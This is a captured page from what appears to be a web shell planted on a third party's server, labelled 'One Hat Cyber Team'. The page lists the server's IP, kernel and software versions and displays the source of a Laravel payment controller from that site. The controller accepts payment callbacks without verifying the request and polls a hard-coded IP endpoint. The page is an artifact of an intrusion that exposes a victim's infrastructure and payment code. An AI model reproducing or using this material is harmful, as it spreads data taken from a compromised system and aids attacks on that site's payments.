⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.31
Server IP:
13.127.59.50
Server:
Linux ip-172-31-46-210 5.15.0-1033-aws #37~20.04.1-Ubuntu SMP Fri Mar 17 11:39:30 UTC 2023 x86_64
Server Software:
Apache/2.4.41 (Ubuntu)
PHP Version:
7.4.3-4ubuntu2.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
styleage_v3
/
core
/
app
/
Http
/
Controllers
/
View File Name :
PayInstantController.php
<?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Facades\Log; use Carbon\Carbon; class PayInstantController extends Controller { public function index(Request $request) { $order_id = \DB::table('orders')->where('id',$request->orderId)->first()->pi_order_id; $fields['name'] = $request->name; $fields['email'] = $request->email; $fields['phone'] = substr($request->phone,-10); $fields['orderId'] = $order_id; $fields['amount'] = $request->amount; $fields['data_id'] = $request->orderId; $action_url = "/pg/pay/credit/process"; return view('payments.checkout',compact('fields','action_url')); $action_url = "temp_pending_page"; return view('payments/paymentmake',compact('fields','action_url')); } public function callback(Request $request) { \Log::info('callback Request'); \Log::info($request->all()); $data = $request['data']; self::sendResponseStatus($data); $txn = \DB::table('orders') ->select('payment_status','user_id') ->where('pi_order_id',$data['order_id']) ->first(); return response([ 'status'=>$txn->status, 'message'=>'Acknowledged', ]); } public static function sendResponseStatus($result) { $params = $result; try { CustomCheckoutController::callback($result); } catch (\Exception $e) { } return true; } static public function transactionStatusApi($order_id = null) { if ($order_id) { // $orderIds = explode('_',$order_id); $all_txn = \DB::table('orders') ->select('pi_order_id') ->where('pi_order_id',$order_id) ->where('payment_status','pending') ->get(); } else { $all_txn = \DB::table('orders') ->select('pi_order_id') ->where('payment_status','pending') ->where('created_at','<=',Carbon::now()->subMinutes(5)->format('Y-m-d H:i:s')) ->orderBy('id','ASC') ->get(); } foreach ($all_txn as $key => $txn) { $order_id = $txn->pi_order_id; try { $endpoint = 'https://15.206.22.112/pi/fetchTransactionStatus/'.$order_id; $client = new \GuzzleHttp\Client(); $response = $client->request('POST', $endpoint); $result=json_decode($response->getBody()->getContents(),true); } catch (\GuzzleHttp\Exception $e) { $result = $e->getResponse()->getBody()->getContents(); } catch (\Exception $e) { $result = $e->getMessage(); } \Log::info('orderId status'); \Log::info($result); if (isset($result['data'])) { $response = self::sendResponseStatus($result['data'][0]); } \Log::info('Curl Response'); \Log::info($response); } return true; } }